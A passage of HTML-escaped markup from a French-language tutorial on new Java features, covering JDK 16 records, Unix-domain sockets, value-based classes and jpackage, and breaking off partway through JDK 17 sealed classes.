&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getX&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;getY&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;instanceof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Point&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;other&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;hashCode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Objects&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hash&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Point[x=%d, y=%d]&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avec un &lt;em&gt;record&lt;/em&gt;, il suffit d&amp;rsquo;écrire :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;Point&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;C&amp;rsquo;est plus concis.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Sans constructeur explicite dans l&amp;rsquo;enregistrement (&lt;em&gt;record&lt;/em&gt;), on ne dit pas dans la classe puisque ce n&amp;rsquo;en n&amp;rsquo;est pas une à proprement parler, un constructeur canonique (&lt;em&gt;canonical constructor&lt;/em&gt;) existe. Un constructeur canonique assigne la valeur des paramètres aux attributs (comme le constructeur &lt;code&gt;Point&lt;/code&gt; ci-dessus).&lt;/p&gt;
&lt;p&gt;À ne pas confondre avec un constructeur par défaut qui initialise les attributs à zéro.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les méthodes &lt;code&gt;equals&lt;/code&gt;, &lt;code&gt;hashCode&lt;/code&gt; et &lt;code&gt;toString&lt;/code&gt; sont automatiquement réécrites.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les accesseurs existent et portent le même nom que l&amp;rsquo;attribut (pas de &lt;em&gt;get&lt;/em&gt; devant donc).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Si nécessaire, il est possible d&amp;rsquo;adapter le constructeur. Par exemple (extrait de &lt;a href="https://openjdk.java.net/jeps/395"&gt;JEP395&lt;/a&gt;) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;record&lt;/span&gt; &lt;span class="nc"&gt;Range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;Range&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;throw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;IllegalArgumentException&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;(%d,%d)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;lo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hi&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;notons qu&amp;rsquo;il est inutile de réécrire &lt;code&gt;this.lo = lo…&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Tous les &lt;em&gt;records&lt;/em&gt; héritent de &lt;code&gt;java.lang.Record&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Quelques différences avec une classe normale :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;pas d&amp;rsquo;&lt;code&gt;extends&lt;/code&gt; pour un &lt;em&gt;record&lt;/em&gt;. Un &lt;em&gt;record&lt;/em&gt; hérite toujours de &lt;code&gt;java.lang.Record&lt;/code&gt; ; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un &lt;em&gt;record&lt;/em&gt; est implicitement &lt;code&gt;final&lt;/code&gt; et ne peut pas être abstrait (&lt;code&gt;abstract&lt;/code&gt;). L&amp;rsquo;idée étant qu&amp;rsquo;un enregistrement représente un état qui ne peut être modifié par la suite ; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les attributs du &lt;em&gt;record&lt;/em&gt; sont &lt;code&gt;final&lt;/code&gt;. Les &lt;em&gt;records&lt;/em&gt; sont immuables par défaut ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;pas d&amp;rsquo;attributs statiques (&lt;em&gt;instance fields&lt;/em&gt;) ni de bloc d&amp;rsquo;initialisation (&lt;em&gt;instance initializers&lt;/em&gt;)_; &lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;toute déclaration explicite d&amp;rsquo;un membre qui serait généré par défaut (accesseurs, &lt;code&gt;equals&lt;/code&gt;,…), doit correspondre en type et bien préserver la sémantique du &lt;em&gt;record&lt;/em&gt; ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un &lt;em&gt;record&lt;/em&gt; ne peut pas déclarer de méthodes natives (&lt;em&gt;native method&lt;/em&gt;) qui impliquerait, par définition, que le &lt;em&gt;record&lt;/em&gt; devienne dépendant d&amp;rsquo;un état externe.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… et quelques similitudes : &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;les instances sont créées &lt;em&gt;via&lt;/em&gt; &lt;code&gt;new&lt;/code&gt; ;&lt;/li&gt;
&lt;li&gt;un &lt;em&gt;record&lt;/em&gt; peut être déclarée &lt;em&gt;top level&lt;/em&gt; ou interne (&lt;em&gt;nested&lt;/em&gt;) et peut-être générique (&lt;em&gt;generic&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;un &lt;em&gt;record&lt;/em&gt; peut déclarer des méthodes statiques (« de classe », &lt;em&gt;static method&lt;/em&gt;), attributs statiques (&lt;em&gt;static field&lt;/em&gt;) et bloc d&amp;rsquo;initialisation (&lt;em&gt;static initializer&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;un &lt;em&gt;record&lt;/em&gt; peut également déclarer des méthodes d&amp;rsquo;instances (&lt;em&gt;instance method&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un &lt;em&gt;record&lt;/em&gt; peut implémenter des interfaces.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A record class can implement interfaces. A record class cannot specify a superclass since that would mean inherited state, beyond the state described in the header. A record class can, however, freely specify superinterfaces and declare instance methods to implement them. Just as for classes, an interface can usefully characterize the behavior of many records. The behavior may be domain-independent (e.g., Comparable) or domain-specific, in which case records can be part of a sealed hierarchy which captures the domain (see below).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un &lt;em&gt;record&lt;/em&gt; peut déclarer des types internes y compris des classes enregistrements internes (&lt;em&gt;nested record classes&lt;/em&gt;). Si une classe enregistrement est elle même interne, elle est implicitement &lt;code&gt;static&lt;/code&gt; ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;il peut y avoir des annotations dans une classe enregistrement (&lt;em&gt;record&lt;/em&gt;) ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;les instances peuvent être sérialisées et désérialisées. Cependant, ce sont les attributs qui déterminent la sérialisation et le constructeur canonique, la désérialisation. Il n&amp;rsquo;est pas question d&amp;rsquo;ajouter des méthodes comme &lt;code&gt;writeObject&lt;/code&gt;, &lt;code&gt;readObject&lt;/code&gt;, &lt;code&gt;readObjectNoData&lt;/code&gt;, &lt;code&gt;writeExternal&lt;/code&gt;, ou &lt;code&gt;readExternal&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;em&gt;Unix-Domain Socket Channels&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Support des sockets Unix (&lt;code&gt;AF_UNIX&lt;/code&gt;) et &lt;em&gt;server socket&lt;/em&gt;(&lt;a href="https://openjdk.java.net/jeps/380"&gt;JEP380&lt;/a&gt;) utilisés dans les communications inter-processus (IPC, &lt;em&gt;inter-process communication&lt;/em&gt;) sur un hôte. Ces sockets sont semblables aux sockets TCP/IP (&lt;code&gt;AF_INET&lt;/code&gt;) mais ne reposent pas sur IP et utilisent un nom de fichier.&lt;/p&gt;
&lt;p&gt;Ce support se fait par, entre autre, l&amp;rsquo;ajout de la classe&lt;br&gt;
&lt;code&gt;java.net.UnixDomainSocketAddress&lt;/code&gt; à l&amp;rsquo;API et d&amp;rsquo;une valeur &lt;code&gt;UNIX&lt;/code&gt; à l&amp;rsquo;énumération &lt;code&gt;java.net.StandardProtocolFamily&lt;/code&gt;. Voir &lt;a href="https://openjdk.java.net/jeps/380"&gt;JEP380&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;&lt;em&gt;Warning for value-based classes and designate primitive wrapper classes as value-based&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Les classes englobantes pour les types primitifs (&lt;em&gt;primitive wrapper classes&lt;/em&gt;) comme &lt;code&gt;java.lang.Integer&lt;/code&gt; deviennent des &lt;em&gt;value-based&lt;/em&gt; classes (&lt;a href="https://openjdk.java.net/jeps/390"&gt;JEP390&lt;/a&gt;) ce qui entraine que leurs constructeurs sont dépréciés (ils l&amp;rsquo;étaient depuis longtemps) et seront supprimés dans une future &lt;em&gt;release&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Une &lt;em&gt;value-based&lt;/em&gt; classe (voir la &lt;a href="https://docs.oracle.com/en/java/javase/17/docs/api/java.base/java/lang/doc-files/ValueBased.html"&gt;définition chez Oracle&lt;/a&gt;) a les propriétés suivantes :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tous les attributs sont constants (&lt;em&gt;final&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;les implémentation de &lt;code&gt;equals&lt;/code&gt;, &lt;code&gt;hashCode&lt;/code&gt; et &lt;code&gt;toString&lt;/code&gt; se basent uniquement sur la valeur des attributs ;&lt;/li&gt;
&lt;li&gt;les méthodes de la classe traitent les instances comme librement échangeables (&lt;em&gt;freely substituable&lt;/em&gt;) lorsqu&amp;rsquo;elles sont égales (au sens &lt;em&gt;equals&lt;/em&gt;). Donc, échanger deux instances qui sont égales (&lt;em&gt;equals&lt;/em&gt; et donc pas spécialement &lt;em&gt;\==&lt;/em&gt;) ne produit aucun changement visible dans le comportement de la méthode ;&lt;/li&gt;
&lt;li&gt;la classe ne fait aucune synchronisation ;&lt;/li&gt;
&lt;li&gt;la classe n&amp;rsquo;a pas de constructeurs accessibles. (Par exemple &lt;code&gt;java.lang.Integer&lt;/code&gt; va perdre ses constructeurs au profit de &lt;code&gt;Integer.valueOf(int)&lt;/code&gt; et &lt;code&gt;Integer.parseInt(String)&lt;/code&gt;) ;&lt;/li&gt;
&lt;li&gt;la classe ne propose aucun mécanisme d&amp;rsquo;instanciation garantissant qu&amp;rsquo;une instance retournée soit unique, par exemple une méthode &lt;em&gt;factory&lt;/em&gt; appelée deux fois et retournant deux fois la même valeur (au sens &lt;em&gt;equals&lt;/em&gt;) peut retourner deux valeurs identiques (au sens &lt;em&gt;\==&lt;/em&gt;) ;&lt;/li&gt;
&lt;li&gt;la classe est &lt;code&gt;final&lt;/code&gt; et hérite de &lt;code&gt;Object&lt;/code&gt; ou d&amp;rsquo;une hiérarchie d&amp;rsquo;objects ne contenant que des classes abstraites ne déclarant aucun attributs ni &lt;em&gt;instance initializers&lt;/em&gt; et dont les constructeurs sont vides.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;em&gt;Packaging tool&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;Ajout d&amp;rsquo;une nouvelle commande &lt;code&gt;jpackage&lt;/code&gt; fournissant le nouvel outil de &lt;em&gt;packaging&lt;/em&gt; Java.&lt;/p&gt;
&lt;p&gt;Pour fournir une application, il n&amp;rsquo;est pas suffisant de fournir un &lt;code&gt;jar&lt;/code&gt; qu&amp;rsquo;il faudrait placer &lt;em&gt;à l&amp;rsquo;endroit qui va bien&lt;/em&gt; et ayant accès aux librairies éventuelles. &lt;code&gt;jpackage&lt;/code&gt; permet de diffuser un paquet installable pour la plateforme cible (Linux, MS Windows, mac OS).&lt;/p&gt;
&lt;p&gt;Par exemple une commande à l&amp;rsquo;allure suivante :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bash&lt;span class="w"&gt; &lt;/span&gt;jpackage&lt;span class="w"&gt; &lt;/span&gt;--name&lt;span class="w"&gt; &lt;/span&gt;myapp&lt;span class="w"&gt; &lt;/span&gt;--input&lt;span class="w"&gt; &lt;/span&gt;lib&lt;span class="w"&gt; &lt;/span&gt;--main-jar&lt;span class="w"&gt; &lt;/span&gt;main.jar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À ceci s&amp;rsquo;ajoutent :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la migration du dépôt d&amp;rsquo;OpenJDK de Mercurial vers Github ;&lt;/li&gt;
&lt;li&gt;la seconde &lt;em&gt;preview&lt;/em&gt; des classes scellées (voir JDK17 ci-dessous) ;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;JDK 17&lt;/h1&gt;
&lt;h2&gt;Sealed class&lt;/h2&gt;
&lt;p&gt;Java 17 introduit les &lt;strong&gt;classes et interfaces scellées&lt;/strong&gt; (&lt;em&gt;sealed class and interfaces&lt;/em&gt;). Cette introduction fait suite (comme d&amp;rsquo;habitude maintenant) à deux &lt;em&gt;preview&lt;/em&gt; dans le JDK16 et JDK15. Ces classes et interfaces restreignent la possibilité pour d&amp;rsquo;autres classes ou interfaces d&amp;rsquo;en hériter ou de les implémenter.&lt;/p&gt;
&lt;p&gt;Un classe scellée peut être étendue uniquement par les classes explicitement autorisées. De même pour les interfaces et l&amp;rsquo;implémentation. Il suffit d&amp;rsquo;énoncer les classes avec leur « petit nom » si l&amp;rsquo;on est dans le même &lt;em&gt;package&lt;/em&gt; ou avec le nom longs sinon.&lt;/p&gt;
&lt;p&gt;Par exemple (issu de &lt;a href="https://openjdk.java.net/jeps/409"&gt;JEP409&lt;/a&gt;) :&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;com.example.geometry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;abstract&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Shape&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;permits&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Circle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Rectangle&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Square&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// write some code&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avant les classes scellées, les seules manières de limiter l&amp;rsquo;héritage ou l&amp;rsquo;implémentation étaient&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;usage de &lt;code&gt;final&lt;/code&gt; pour empêcher complètement l&amp;rsquo;héritage ;&lt;/li&gt;
&lt;li&gt;limiter la visibilité de la classe ou des constructeurs aux packages pour n&amp;rsquo;autoriser l&amp;rsquo;héritage ou l&amp;rsquo;implémentation qu&amp;rsquo;aux packages.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Il est possible d&amp;rsquo;omettre le mot clé &lt;code&gt;permits&lt;/code&gt; lorsque l&amp;rsquo;on définit les classe autorisées directement dans la classe scellée. Dans l&amp;rsquo;exemple suivant (issu de &lt;a href="https://openjdk.java.net/jeps/409"&gt;JEP409&lt;/a&gt;), la classe &lt;code&gt;Root&lt;/code&gt; est scellée et n&amp;rsquo;autorise que les classes &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt; et &lt;code&gt;C&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;abstract&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;sealed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;A&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;B&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;C&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une classes scellée (&lt;em&gt;sealed class&lt;/em&gt;) impose trois contraintes :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;la classe scellée et ses sous-classes autorisées doivent se trouver dans le même module et, si le module n&amp;rsquo;est pas nommé, dans le même package ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;chaque sous-classe autorisée doit étendre directement la classe scellée ;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;chaque sous-classe autorisée doit utiliser un &lt;em&gt;modifier&lt;/em&gt; précisant comment se propage le sceau :&lt;/p&gt;
&lt;ul&gt;
